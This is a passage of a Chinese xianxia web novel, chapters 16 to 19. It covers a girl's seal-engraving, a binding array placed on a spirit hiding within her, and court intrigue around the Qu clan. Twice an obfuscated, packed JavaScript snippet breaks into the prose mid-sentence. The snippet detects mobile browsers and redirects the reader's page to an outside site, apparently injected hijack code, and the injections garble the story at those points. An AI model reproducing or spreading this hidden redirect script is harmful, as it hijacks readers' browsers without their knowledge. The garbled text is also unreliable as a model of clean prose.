指尖伸到一半,或许又觉得这样太唐突,害羞地停在半空,一双亮晶晶的眼睛巴巴望着徐微月。 16. 观观 徐微月看着她这副模样,心里软了一下,唇角不自觉地弯起,露出一个温和的笑意。 “观观,排了多久了?” 少女摇摇头,她似乎这才想起站了许久,腿有点酸,悄悄挪了下脚尖。 “好像……没多久。” 徐微月望着眼前长得看不到头的队伍,又抬眸估算了一下从少女所在的位置到演武场中央的距离。 弯弯曲曲,少说排了几百人,前面几个高个子弟子把前方挡得严严实实。 这位置,怕是已经排了大半个下午了。 伸手自然地拉住她的腕子:“观观,跟我来,我带你去找藏舟。让他先替你刻了,很快就好,不必在这儿干等着。” 少女愣了一下,下意识想把手抽回来,指尖微微用力。 徐微月已经拉着她往前走了两步,察觉到那细微的抗拒,回过头对她安抚地笑了笑。 “没关系的,我同他说一声便是,不费事,他肯定会答应。” 少女的脚步却顿住了,轻轻但很坚持地抽回手。 “不用了,微月姐姐,我还是……在这儿等着吧。” 徐微月看她垂眸攥紧书页,小姑娘对曲存真并不亲近,不愿意的事勉强不了,十头牛都拉不回来。 “那好吧。”她叹一口气,声音还是温温和和的,“罢了,你且排着。要是等得饿了,或是累了,便先去膳堂吃点东西。” 少女点点头,应了一声“嗯”。 徐微月转身往演武场东侧走去。 少女看着她的背影穿过人群,走到曲存真面前。 她低下头,把《结阵辑录》翻到聚灵阵那一页,继续看。 手指在书页上比划一下,停住,抬起头往那个方向又瞧一眼。 曲存真正低头为一名弟子刻印。徐微月就站在他身旁一步之遥的地方,微微侧着头,在跟他说什么。 曲存真偶尔点一下头。 少女把目光收回来,重新落在书页上,盯着那一页看了很久……慢慢合上书。 前面的人又往前挪了几步,她抱着书,沉默地跟着队伍缓缓前移。 徐微月穿过人群,行至演武场东侧。 曲存真正低头为一名弟子刻印,灵光轻点腕间,金色曲字印便隐入肤下。 弟子行礼退去,他示意下一人上前。 徐微月在他面前站定。 他感觉到人没有动,才抬起眼,看见是她,“你怎么来这边了?” 她是三长老的大弟子,按理说应该由三长老为她刻印。 徐微月笑了笑,闲闲地站在他身侧,“师尊正忙得焦头烂额,我顺路过来看看。你这边还有多少人?” 曲存真扫了一眼队伍的长度,没有答。 “不少。”徐微月替他说了,“反正我都过来了,不如你帮我刻了吧,师尊那边人也挺多的。” 曲存真点头,二指在她伸过来的左腕上点下一个金色字印。 曲澜从徐微月走过来的时候就看见她了。 原以为她只是路过,说两句话就走,可她站了一会儿,又站了一会儿,竟没有要走的意思。 曲澜的脸色便有些不好看,身边几个弟子还在说笑,她一句也没听进去,只盯着那两个人的身影。 曲存真是她表兄,是曲家的人,跟一个外人说那么多话做什么? 她心里这样想,嘴上却不好说,只把不高兴写在脸上,连旁边的曲澈都感觉到了,扯了扯她的袖子,她也不理。 徐微月说了几句闲话,目光不经意地往队伍末尾扫一眼。 小姑娘还排在最后面,低着头,书已经合上了,不知道在看什么。 她放低声音对曲存真道:“观观已经排了一下午了,从日头正盛排到这时候。她性子静,不争不抢,每次都轮到最后。” 曲存真没有抬头,指尖还在为面前的弟子刻印,只淡淡应了一声。 徐微月试探着将话递得更明白些,“不如……我去将观观带过来,你便先替她刻了吧?也免得她久等。” 曲存真指尖继续运转灵光,眉头却蹙起,“不必麻烦,下一个。” 徐微月笑道:“你呀你,观观的事,怎能是麻烦。” “她有大名,叫她的大名。” 他的语气不是很好,徐微月唇边的笑意微微一凝,随后又释然。 可能因为小姑娘的大名是他起的吧,所以他不喜欢听她叫小姑娘的乳名。他向来不喜旁人僭越,更不喜在正事场合夹杂私情。自己方才那带着偏袒的亲昵提议,恐怕正好犯了他的忌讳。 看着曲存真疏离冷寂的侧脸,不知为何,忽然想起曲清波方才的一番言语。 也罢,不徇私就不徇私吧。 徐微月敛了神色,恢复了一贯的温婉得体,“那我先回去了,不扰你做事。” 曲存真淡淡应了一声。 徐微月穿过人群,正要离去,一道身影忽然拦在身前。 曲澜看着她走过来,到底没忍住。 “微月姐姐。” 徐微月停下脚步,看着她。 曲澜仰着脸,嘴角努力翘着,像是在笑。 “微月姐姐不是三长老座下的么?三长老那边也刻印呢,怎么……非要绕到藏舟哥哥这儿来?” 徐微月听了这话,没有恼,反倒轻轻笑了,“阿澜想说什么?” 曲澜睁眼说瞎话:“藏舟哥哥这边人多,排了这么长的队。三长老那边清闲,微月姐姐若是去那边,不是省事得多?也免得……耽搁藏舟哥哥的正事。” 旁边几个弟子偷偷交换眼色,有人抿嘴想笑,被曲澜眼风一扫,赶紧低下头。 徐微月像是听不出她话里的刺,哄小孩子一般,“知道啦,阿澜。” “你这丫头,”她的声音温温软软的,带着点无奈,“我不过是顺路过来看看,就被你逮着了。行啦行啦,我这就走,好不好?” 曲澜抿着唇,还想说什么,徐微月已经伸手,轻轻拍了下她的肩,“好啦,改日给你做桂花糕,别绷着脸了。” 说完,也不等曲澜反应,便转身走远了。 曲澈凑过来,小声问:“姐,你怎么了?跟微月姐姐发什么火?” “谁发火了!”曲澜瞪他一眼,“我就是讨厌她!” 曲澈缩了缩脖子,不敢再问了。 曲澜低头,手指绞着袖口,心情很不好,像是攒了一肚子的劲儿,一拳打在软软的棉花上。 曲清波负着手从旁边走过,看了一眼曲澜,又瞥了眼徐微月远去的方向,嘴角微微弯了弯,踱着满意的步子走了。 队伍还在往前缓慢地挪动。 天色一点一点地暗下去,雪山顶上的金色褪了,变成青灰,最后连那点青灰也被暮色吞没。 演武场上人渐渐散去,几位长老收了灵光,活动活动手指,站起来,跟身旁的人说了几句话便走了。 有弟子跑过来问“还刻不刻”,得到的答复是“明日再来”,便嘟囔着走了。 少女合上书,抬起头。 场上只剩两位长老还在忙碌,曲存真面前还排着几个人。 周围已经刻完印的弟子,有人把手腕举起来给同伴看,有人用袖子遮着。他们的腕上都有一道淡金色的字印,在暮色里隐隐发亮。 暮色从四面拢过来,少女低头看了看自己空空的手腕,转身离去。 回到住处时,已入夜。 院子不大,收拾得却齐整。 院中那棵丽娘变成浓黑剪影,树干粗粝,树冠遮去半边月色。 这树原长在墙外,是她亲手扩了院墙,才将它圈进来。 她走到树前,停住脚步。四下无人,轻轻将脸贴在树干上,蹭了蹭。树皮很凉,蹭得脸颊又冷又微痒。 她闭眼静立一瞬,便松开身,猫腰从低垂枝丫下穿过,推门进屋。 外间是书房,靠窗摆着一张书案,案上笔墨纸砚俱全,是曲清波特意让人送来罚她抄写用的。 里间是卧房,陈设更为简单,不过一张床,一顶承尘,一只衣柜,三个箱笼。 床帐料子柔软舒适,是徐微月让人布置的。箱子里叠着的,是曲存真叫人送来的新衣。 少女从怀里取出《结阵辑录》放在枕边,打了盆清水简单洗漱,又换了身家常旧衣。 抬眼看向床头小几,几上铜漏指向戌正一刻。距丑时还有数个时辰,还早。 她解了发髻散下头发,将发带缠绕在手腕,吹了灯,盘膝在床上坐好,继续上午的修炼。 两颗天珠上的灵气已消耗不少,到明日早晨可能就用光了。 刚闭上眼凝神,门外忽然传来敲门声。 她不悦地睁眼,没有起身,只在黑暗中扬声问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500390|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谁呀?” “是我。” 竟然是曲存真的声音。 她愣了愣,起来点灯,翻出白日那身衣裳换上,披散着头发跑去开门。 曲存真立在门外,身后跟着徐微月。 徐微月手里捧着一只托盘,上面放着几样东西,被布盖着。看见少女,侧头对曲存真笑道:“还是你料得准,她果然还没有歇息。” “微月姐姐,你怎么来了?” 少女尾音轻扬,声线里带着少见的亲近。 曲存真看她一眼,眼底掠过一丝讶异。他看着她仰起脸看向徐微月时眼角自然弯起的弧度,是他从未在她望向自己时见过的神情。 少女亲近徐微月是很自然的,这些年她的饮食起居皆由徐微月照料,被褥衣裳、吃食用度样样妥帖周全。 少女已侧身让开门口,目光掠过曲存真时,那点光亮便悄悄收敛了。 曲存真从她身侧走入。 徐微月紧随其后,经过少女身边时,极自然地伸手轻抚一下她的头顶。 就在她指尖触及少女发丝的刹那,曲存真的脚步略一顿,未曾回头,那截冷白的下颌线绷紧了些许。 徐微月恍若未觉,将托盘搁在书案上,掀开盖布,里面是一小匣安神香,还有一只小巧的白玉梳。 “听说你夜里又做噩梦了,”徐微月声音轻柔,“这香是照着古方配的,睡前点一炉,能睡得安稳些。这把梳子也有相同的功效,你试试看。” 少女偏头看她,心里疑惑她怎会知晓,却没问出口,只轻轻“嗯”了一声,接过玉梳,指尖珍惜地摸了摸光滑的梳背:“谢谢微月姐姐。” 徐微月走到里间的卧房,取一小块香放入床头白瓷小炉中点着。细烟袅袅,淡浅草木气息散开。 “这香要稍等片刻才出味,先开着窗,睡前再关上就好。” 少女点点头,静静站在一旁,目光跟着她移动。 曲存真立在书案边,目光落在少女望着徐微月时比平日明亮些许的眼睛上。 周身原本就冷淡的气息,似乎又沉下去几分。 徐微月从卧房走出来,轻轻叹了口气:“其实,女孩子还是要有个伴才好。有个能说说话的朋友,或许就不会总做噩梦了。” 少女沉默着没有接话,她做噩梦并不是因为孤单害怕。 其实,或许以后她都不会再做噩梦了。 徐微月看着她,语气温和:“曲家这么多同龄的弟子,就没有合得来的么?不试着交几个真心的朋友?就像——”下巴轻轻指了指曲存真,“我和他这样的?” 少女不由看向曲存真,却见他也正看着自己。 他们……是很好的朋友么? 关于朋友这个问题,曲存真也曾问过她。 她的时间她的人,从来都只属于修炼。哪有什么朋友。 哦,仔细说来也不是,曾经也是有过一个的,算是吧。 在喜雨村,有个和她一般大的孩子。他们挤在狭小的黑屋里,一起挨饿,一起缩在墙角听着外面的动静发抖,彼此安慰。 为他挨过鞭子吃过拳脚。 她曾以为,那就是这世上最亲密的朋友。 夜里,她悄悄凑到他耳边,把丽娘要带她逃走的事告诉了他,和他道别。既然是朋友,朋友之间不该不告而别。 可第二天,她们就被抓回来,丽娘被按在地上凌辱,她则被拽着头发又关了起来,这次是被关进一只兽笼子里。 她的“好朋友”就站在一旁,满脸都是愧疚的眼泪。 她问为什么?他说,他不想一个人,不要离开他。 后来曲存真来了,他杀光那些散修,带她走出村子。她的“好朋友”跌跌撞撞追上来,死死抓住她的衣角,哀求也带他走。 他哭得像死了爹娘,她却只觉得吵,手指狠狠一掰,再一推。 他摔在地上,哭声戛然而止,她没回头。 她收回思绪回答徐微月:“我不需要。” 徐微月又是轻轻一叹,正要再说什么—— 曲存真忽然开口。 “观观,你过来。” 徐微月怔了一瞬,下意识眨了眨眼,目光极讶异地落在曲存真没什么表情的侧脸上。 她还以为他不喜欢小姑娘这个乳名。 怎么……此刻他自己倒叫得如此自然? 17. 花印 少女抬头,见曲存真站在书案边,手指搭在桌沿上,目光落在她身上。 她心里有些不高兴,为什么要突然叫她的乳名,这个名字是独属于丽娘的。 “观观,坐到这儿来。”见她不动,他又叫了,抬了抬下巴,示意她坐到书案前的椅子上来。 她看向徐微月,有些不解。 徐微月忍住心里的波澜,笑着推了推她的肩膀:“快去吧,这才是今晚的正事呢。” 少女走过去坐下,曲存真在她对面站定,一手牵着另一只袖口:“给你点结界印。” “今晚来寻你,就是为了这件事。”徐微月在旁解释,语气里带着一点无奈,“他今日又是神识搜山又是布结界,损耗极大,却非要晚上亲自跑这一趟,又怕单独来不妥,传出去对你不好,硬拉着我作陪。” 今日两场大事,不论是神识搜山还是布结界,都是以他为主,也属他消耗最多,正常情况下,做完这两件事就该闭关修养了。徐微月笑着摇了摇头,似是抱怨,面上却没有一点抱怨的神色。 少女一怔,她以为要等明日、后日甚至更久才能点上这道印。 其实没什么,她早就已经习惯被落在后面了。 她抬起手,露出左手腕子给他。 曲存真的目光在她腕间缠绕的发带上停驻一瞬,却道,“不是在这里。” 她一愣,又转头看向徐微月。 徐微月却看着曲存真,似乎也很惊讶。 曲存真稍微压低了肩膀,抬手微微触碰她的双颊,将她的脸拨向自己,“抬起头。” 少女在他掌中稍稍仰起脖颈,他二指并拢,指尖轻轻点在她的眉心。 他的手指异常温暖,一股暖意瞬间漫开。 他指尖凝出光,在她眉心不断闪动,慢慢勾出一朵小巧的梅花的形状。 徐微月看着那朵渐渐成形的小小梅花,一时愣住。 曲存真继续勾勒,作画一般,指尖灵光为花瓣点上淡淡的粉色,一朵栩栩如生的梅花绽开在她额头上。 他的指尖随即离开。 徐微月心里涌起一点刺刺麻麻的感觉,“真好看……”她也分不清自己是在夸花还是在夸人,还是在夸作画人的这份心思。 少女抬手摸了摸眉心,暖意迟迟未散,仿佛他的指尖还轻抵在那里。 为什么要给她刻在这里?别人刻的都是字印,他给她刻的是什么?也是字印么?可方才那纹路,感觉不像字。 曲存真似是看穿她的心思,“你的印与别人的不同。他们的是字印,你的是花印。” “为什么刻花印?”少女仰头问,一双眼因疑惑而睁大。 徐微月看向曲存真,她也想知道。 曲存真没有回答。 少女又问:“花印和字印有什么分别?” “没什么分别,都是通行之印。”他从她眉心移开目光,视线落到她垂至腰际的头发,乌润如瀑,衬得脖颈异常细白,“只不过,有此印在,从此白波九道,我能去的地方,你都去得。” 他顿了顿,淡淡补道:“除非我死。” 徐微月站在一旁,垂着眼,两手交握身前,左手微微露出衣袖,视线落到自己手腕内侧的那个金色曲字印上,暗暗将手腕一翻,藏于袖中。 怎会没有分别呢? 她恹恹抬眼,便撞见这样一幅光景—— 少女披散一头浓黑长发,软软垂至腰际,脖颈修长,下颌小巧,眉心一朵新染的淡梅,头微仰,望着曲存真。 曲存真垂眸看她,广袖轻垂,袖角不经意搭在她膝边,与她散落的发尾相叠。 他指尖刚从她眉心收回,顿在半空,一时未曾落下。 这光景,像极了画册里的新婿新妇,灯下相对,一俯一仰,连气息都相融。 她轻轻垂眸,不再去看。 曲存真在少女额头上挥一挥手,那朵淡梅便隐没不见。 退后一步,袖子从她膝上滑落。 “接下来一个月,我不能在你身边教你。” 少女的手从眉心放下,口气有点急,“你又要闭关么?” “不是闭关。”曲存真眼底有一点倦色,“不过静修养几日罢了。”他往常闭关动辄三五年,一个月静修确实算不上闭关。 他说得轻描淡写,徐微月站在一旁,目光落在他侧脸上,唇瓣动了动,终究没说什么。 “那我的修炼……”她正是紧要关头,才将将摸到门路,升起希望,筑基近在咫尺,一个月有些久,她等不及。 “每日照常去玉垒云。我在修炼室给你留了一个月的功课。每日该做什么,什么时候做,做到什么程度,都写好了,照做便是,不会耽误你的修为。这个月不必去景明堂进学。” 少女应了一声“哦”,这才又抬眼问,“那你……身子要紧么?损耗是不是很大?” 得她这句关怀不容易,曲存真眼里漾开一抹柔和,一点笑意,摇头。 “这点损耗,本不值当休养。只是如今局势容不得半分差池。家主方才带人去闲远宗闹了一场,两家结怨已久,新仇旧怨叠在一起,静霄子一旦出关,便是修真界最强之人,必不会善罢甘休,到时候来找麻烦也不好说,我必须尽早恢复全盛战力。” 她点头,心中又告诫自己,万不可因这两天得到一点甜头就分不清东西南北了,修炼一事本就是要靠自己,岂可寄托于他人身上。 “时候不早了,我走之后你便歇息吧,今日也乏了,就不要再修炼了。欲速则不达,慢下来也有很多好处。”曲存真没再多说什么,转身往外走,走到门口,脚步顿住。 “那本《结阵辑录》,”他没有回头,声音淡淡传来,“可以慢慢看。不懂的地方,先记下来,我到时给你讲。” 少女抬头望去,他已经跨出了门。徐微月跟在他后面,走了两步,又回过头来,冲她笑了笑。 笑意比方才淡几分。 “早些歇息。”徐微月说。 少女点点头,看着两人的背影消失在门外。 脚步声远了,院子又变得一片寂静。丽娘的影子映在窗纸上,枝丫低垂,似要探进屋来。 她摸了摸眉心,温热的触感已经散去,方才的一切像个梦。 侧头看了看床边的铜漏,才将将戌正三刻,还早,不到她休息的时辰。 熄了灯,坐回床上,继续打坐调息修炼。 ~ 夜风从雪 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“方才见她对你很是亲近,微月,你有心了。她小时候受过许多磨难,难得对人卸下心防,想来是真心觉得你好才这般亲近。这些年我闭关突破,常劳你费心替我照顾她,多谢。微月,日后有需要我的地方,你也只管开口,无论何事,我一定不推辞。” 原来不是嫌她没照顾好,那他这般是为何?他那么忙,却还要插手一个小姑娘的日常生活琐事,他抽的出身么?徐微月站在原地,看着他修长的影子,喉间忽然发紧,张嘴想说你我之间何必如此客气,终究只扯出一个十分艰难的笑。 “好。” 曲存真点点头,转身继续前行,他走得依然不紧不慢,但也很快就要踏上岔路。 徐微月觉得呼吸逐渐急促起来,她急急叫住他,“藏舟——” 一定是夜色、松林、曲存真即将迈上岔路的双脚亦或是家主下午的话给了她勇气,所以,她才会不受控地对曲存真的背影问出那个可笑的问题。 “你对小姑娘……究竟是什么心思?”她斟酌着措辞,“是碍于婚约、责任,还是……” “微月,你这么聪明,不会看不出来。” 徐微月看着他的背影干笑两声,“你过奖了,我其实脑子笨得很,有时候糊里糊涂的很多事都看不清。” “微月,若只是责任,何必费这些心思,倾注这般心血。” “若只是责任,”她喃喃,“确实不必,你不是那样的人……”他其实是个无情的人,有时候,无情之中还会带一点残忍。 “若是家主对你说过什么,一个字都不要信。他自来喜欢自作聪明,殊不知,他的偏见和私心只会对别人造成困扰,害人害己。” 徐微月虽看不见他此刻的脸,却不难想象是怎样一副含讥带讽的神情,她感觉自己的脸颊微微发热,幸好有夜色的遮掩才不至于难堪。 “家主倒没什么私心,他一颗心全都扑在了曲家,操心的难免就多了些。” 曲存真没有接话,像是该说的都已经说完了。 走到岔路口,停下脚步,转头对她道:“早些回去歇息。” 曲存真没有再说什么,抬脚往玉垒云的方向去了。 徐微月依旧站在岔路口,风穿过松林,清苦的松风吹得她裙角轻轻翻飞,久久未动。 天空又落起了雪。 18. 楷体 素遂心一觉醒来,天塌了。 她不过在灵府里稍稍打了个盹,可就在那片刻的松懈里,她被一个阵法困住了。 神识像是被一张看不见的网兜头罩住,从四面八方收拢过来,越收越紧。 她认识这个阵法,十分、非常认识。 缚阵。 专门用来困住元婴的。 她曾用这个阵法将曲存真的元婴困在他濒死的身体里。 那时候觉得这阵法好用,现在轮到她被困在里面。 风水轮流转。 她试了至少十几种办法,神识收缩、灵力爆破、沿着阵纹游走寻找薄弱点……没一个有用的。 少女的灵府变成了她的囚牢,什么都做不了。 她靠在灵府壁上,咻咻喘气。 谁干的?那必然是曲存真,想都不用想。 这个阵法是他从古籍中翻出来又改良过的,加了批注,写到那本《结阵辑录》里。 此刻在这世上,只有他一个人会。 可他是何时布的阵? 在演武场的时候她还能自由活动,不是那时。那就是昨夜他过来的时候了,偏偏他来之后她打盹了。 可她为什么恰好就在那个时间打盹?他在的时候,她一直都是绷紧神识小心提防着的。 想起来了,昨夜徐微月在房内点了安神香,是香烧起来之后她才有了些困意。 好啊,原来这炉安神香是给她准备的。真正送安神香的人,其实是他。 他已经发现她了。他是什么时候发现她的? 她心里一股子懊恼,早该想到的。 大意了。 这狗东西。 他嘴上说着相信,不肯搜神,在花厅里跟曲清波争得面红耳赤,说什么“搜神是对付宵小奸细的法子”“她是我的人”“搜神想都不要想”…… 话说得多漂亮,她差点就信了。 可结果呢?他给她点香,趁她打盹的时候布阵把她困死。 他根本就没打算不搜神。 她怎么就忘了,曲存真到底是个什么样的人。 一旦觉察到疑点,死咬不放才是他的本性,不管对方是谁。少女身上有如此明显的不对劲之处,他怎么可能无动于衷。 都是装的。 无情残忍,阴险狡诈,心机深沉,嘴上说着冠冕堂皇的话,手下不对任何人留情,这才是他。 她当年就差点被这副假意的温柔骗了,现在,竟又着了他的道。 神识比不过她,便给她下缚阵。 他把她困在灵府,是想做什么?待他完全恢复之后再来收拾她? ~ 雪絮漫天,簌簌落了整夜。 卯正初刻,天色刚蒙蒙亮,少女便准时醒了。 窗纸上映着一片灰白的光。 她坐起来,推开一条窗缝往外看。院子里已经白了,丽娘的枝丫上堆着厚厚一层雪,压得低垂的枝条几乎要贴到地面。 她关上窗,麻利地穿衣洗漱。 曲存真昨日说让她晚半个时辰到,她没打算听。 晚半个时辰,便来不及去膳堂吃饭,她饿着肚子去玉垒云,又要对着那些精致却吃不饱的点心苦闷。 洗漱完毕,自箱笼中翻出一身新衣。 春草绿的齐腰褶裙上襦,配樱粉的间色下裙,搭在一起嫩生生的,像是雪地里忽然冒出来的一株新芽。 她今日对如此鲜亮的装扮依然无法接受,但是没有办法,也没有别的选择。 曲存真置办的衣裳都是这个样子。 只是对着铜镜时,她又犯了难。 昨日曲存真为她梳的发髻精巧又妥帖,她照着模样试了两次,发丝总也拢不紧实,绕到一半便松散下来。 发带的系法更是学不会,歪歪扭扭全无样子。 她很快便泄了气,索性把头发拢了拢,扎了一个她擅长的马尾。 腕间还系着昨日的两颗天珠,她低头看了一眼,颜色暗了许多,摸上去也没有昨日那种温热的感觉了,像两颗普通的石头,便将它们解下来换上了新发带。 只是,曲存真不在,谁来为她催动新发带上的这两颗新天珠呢? 一切收拾妥当,她走到院中,在丽娘面前停下。 伸出手,轻轻抱住它,额头抵在树干上,贴了一小会儿才松开,转身出了院子,踏着厚厚的积雪往膳堂走去。 膳堂里热气氤氲,她端了吃食,拣了个靠墙的位置坐下,埋头吃起来。 六个豆沙包,两个鸭蛋,一碗小馄饨,她喝了一口,热气从喉咙一路烫到胃里,整个人都暖和起来。 她把最后一口汤也喝干净了,才放下碗,擦了擦嘴,起身往玉垒云去。 踏着积雪行至玉垒云院门时,刚好辰初初刻。 玉垒云的门虚掩着,院门口站着两个面生的侍女,一个穿青,一个穿藕荷,肩上都落了一层薄雪,看样子等了有一阵儿了。 见她上来,两人齐齐屈膝行礼。 “姑娘来了。” 少女愣了一下,下意识往后退了半步。 穿青的侍女迎上来,目光在她头上扫了一眼,嘴角弯弯,语气温和:“我们先替姑娘梳头。”一壁说着一壁侧身引她往里走,“姑娘坐这儿吧,很快的。” 少女说不用,不想麻烦人家。 可侍女却说是曲存真吩咐的。 人家已经搬好了绣凳,铺好了软垫,连梳子都备好了,整整齐齐摆在廊下的小几上。 她们笑得温柔和善。 她不好再拒绝,便走过去坐下。 侍女的手极巧,左绕右绕,不过片刻,两个小巧的双螺髻便成形了。 她把发带分两边系好,退后一步端详,又伸手调整了一下一侧的弧度,这才满意地点点头。 两人皆是眼含笑意:“姑娘生得好看,这般一梳,更是清秀动人。” 少女微微一怔,她不知道怎么接这种话,“多谢姐姐。” 侍女笑着摆手,引她往用早膳的地方走。 入内,少女看了一眼桌上摆着的早膳,愣愣眨了眨眼。 并不是她想象中那些看着好看却不顶饿的点心,摆着的全是她在膳堂日日吃的家常吃食,热粥、馒头、小菜,分量扎实。 怎会如此…… 她方才在膳堂已经吃得满满当当,肚子里没有地方了。 少女站在桌子前,沉默。 “姑娘,”侍女在旁边轻声问,“是不是不合口味?” 迟疑片刻,她轻声开口:“姐姐,我已经吃过了,现在吃不下,这些……能不能先收下去,留到中午我再吃?” 两名侍女对视一眼,皆是面露诧异。 在曲家这些年,她们伺候过不少人,还从来没有谁提过这样的要求。 饭菜凉了便撤下去,换新的上来,这是惯例。 更加没有人会把吃不完的早膳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500392|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留到中午。 可少女神色认真,不似客气,也不像是在试探。 穿青的侍女先开了口,声音比方才更柔了些,“听姑娘的。五长老吩咐过,这些小事都听姑娘的。” 少女抬起头看她一眼,嘴角弯了弯,很小的一下,几乎看不出来。 侍女将少女领到修炼室门口,退后一步,做了个请的手势。 少女走进去。 双脚刚跨过门槛,双螺髻上的两颗天珠忽然微微发热。 灵力从珠子里渗出来,顺着发带、沿着灵脉一点一点往下走,往灵根的方向送。 在灵府坐牢的素遂心立时有所感应,两股灵力渗进来,和昨日一样,细水长流,她抬起手,指尖凝出灵力,像之前那样配合天珠的灵力。 少女下意识抬手摸了摸脑袋上的天珠,满心诧异。 昨日在玉垒云修炼时,天珠是在曲存真运功引灵之后才起的效。今日他并不在,她刚走进来,天珠便自己发热了。 侍女见她疑惑,温声解释:“五长老在这里布了阵法。姑娘只要踏进这间屋子,阵法便会自行催动天珠灵力,助姑娘修行。” 原来是这样。 他竟连这个都想到了…… 她走到小几前,跪坐下来。 几上整整齐齐码着一厚摞典籍,一眼扫过去,有《灵脉疏引要义》《筑基关窍论》《聚灵阵解》《五行基础》…… 在这些书册旁边放着两张纸。 她拿起一张,纸上的字不多,笔笔正楷,横平竖直。 像是怕她看不清,每一笔都写得十分端正: “知你读书速度快于常人不少,故而多备了些课业,约摸待我出关之时,你恰好能读完。” 她盯着那行字看了一瞬,把纸放下,拿起第二张。 这张纸上却是写满了字,亦是正楷。 上面罗列着三十日的课业安排,每日读什么书、读到哪一页、运气多少遍、什么时辰做、做多久,一行一行列得清清楚楚,和手把手也没什么差别。 又交待她按照这个进度修炼,等到三十日满他出来,便是她筑基之时。 最后用五个字收尾——“进度不可超”。 其中,“不可超”三个字比前文大了一圈,每个字上都重重画了一个圈,墨迹比旁的都浓些,像是写的人怕她看不见,又怕她不当回事。 她看到最后,又另起一行写着: “一日三餐务必按时,不可因修炼不吃饭。” 重重复重重的叮嘱…… 少女指尖轻轻拂过纸面上秀气的字迹。 字是一笔一划写的,比她书法课上见过的任何一本字帖都要工整。 她书法课从来没有好好上过,所以只认得楷体。 少女脸上的表情一时有些奇怪。 这件事除了她自己不会有第二个人知道,他是怎么知道的? 侍女已经退了出去,门在身后轻轻合上。 屋外大雪洋洋洒洒,修炼室内暖意融融。 她深吸一口气,把纸小心地压在书册下面,翻开最上面那本《灵脉疏引要义》,从第一页开始读。 边读边运气。 素遂心靠在壁上,继续带着那些灵光往灵根深处走。 只能快点把少女的灵根修复好了。 趁曲存真在闭小关出不来管不到,提前让少女筑基,看看能不能在她筑基的时候趁灵府动荡那一刻冲破缚阵。 19. 斗篷 用完早膳,曲清波搁下碗筷,在桌前坐着。 今日雪大,照得院子里一片明亮。他看了一会儿雪景,起身往书房而去。 书房在院子的东侧,一脚踏入,暖意袭人。 他在案前坐下,从书案下方的抽屉取出一只木匣。 木匣子打开,里面是十二枚灵棋。 曲清波修的是玄道,精通玄门卜卦之术,其卜卦造诣在整个宗门内无人能及,即便放眼整个仙门,也算得上顶尖高手。 他一生卜卦无数,几乎从未有过失手,唯一一次被砸了招牌,便是前些时日卜算静霄子的闭关生死。 明明卜了三次,次次皆是必死的卦象。 他把棋子一枚一枚地取出来,摆在棋盘上,闭目凝神,指尖凝出一缕灵力,轻轻点在卦盘中央。 随着灵棋落定,卦象逐渐清晰。 曲清波盯着那些棋子,一动不动,眉头越皱越紧。 依旧是血光萦绕的凶卦,相较于前几日,凶煞之气更重,卦象显示血光劫数未消,隐患仍在。 曲清波眉头紧锁,指尖反复摩挲卦盘,口中喃喃自语:“如何是好,曲家要如何是好……” 正忧心忡忡之际,门外有仆人来通传。 “家主,三长老座下徐姑娘过来了。” 曲清波回过神来,随即收敛神色,整理了一下衣袍,他应了一声,把灵棋一枚一枚收回匣中,盖子合上放回抽屉,起身往外走。 走到门口,又回头看了一眼放灵棋的方向,叹口气,推开门,往花厅去了。 他步子不快,负着手,沿着回廊慢慢往花厅走,走到门口时,神色已经恢复如常。 徐微月站在花厅,听见脚步声,她转过身来,手里提着一只食盒,见曲清波进来,连忙行礼。 “家主。”她微微欠身,笑着把食盒提了提,“我是来给阿澜送桂花糕的。那日在演武场答应过阿澜,今日得空便做了。” 即便食盒盖着盖子,曲清波也能闻到一股清甜的桂花香气。 他在椅子上坐下,示意她也坐。 仆从上了茶,他端起来抿了一口,道:“澜儿和澈儿去上修炼课了,这会儿不在家中。” 徐微月点点头。 他看了徐微月一眼,语气里带着几分感慨,“我原以为你当时不过随口哄一哄澜儿,毕竟小姑娘对许多事情都是转头就忘,没想到你还亲手做了送来,这般细心周全,实属难得。” 说着,他又放缓语气,“不过说到底,小孩子家家的,性子还没定,你倒不必太把她当一回事,也不必这般迁就,免得把她娇纵坏了,日后反倒难管教。” 徐微月把食盒放在茶几上,盖子揭开,里面码着几排桂花糕,做得精致,上面还撒着细碎的桂花末,甜丝丝的香气立刻飘了出来。 她笑了笑,“家主言重了。我倒觉得,小孩子虽小,却也分得清真心与敷衍。小孩子家家的,你若哄她,她心里是知道的。今日哄了,明日再哄,往后你说什么她都不信了,反倒于她不利。” 曲清波听她说完,目光在她脸上停了一瞬。 眼前的姑娘,既有女子的温婉,又有超乎年龄的通透与大气,待人真诚,言出必行,落落大方且十分明事理,半点没有娇纵之气。 他想起曲存真小时候,也是这样,点头应下的事,便是再小也要做到。那时候他还说这孩子太较真,别人家的孩子有谁会像他这般,现在来看,像他的人这不就来了吗? 他收回目光,端起茶又抿了一口,嘴角微微弯了弯。 心里那些方才被凶卦搅起来的烦闷,竟不知不觉散了几分。 他放下茶盏,看着徐微月把食盒盖好,又问她几句修炼上的事、三长老的身体,她一一答了,进退有度,不卑不亢。 曲清波靠在椅背上,真是越看越欣赏,越看越满意。 藏舟的妻子就该当如此。 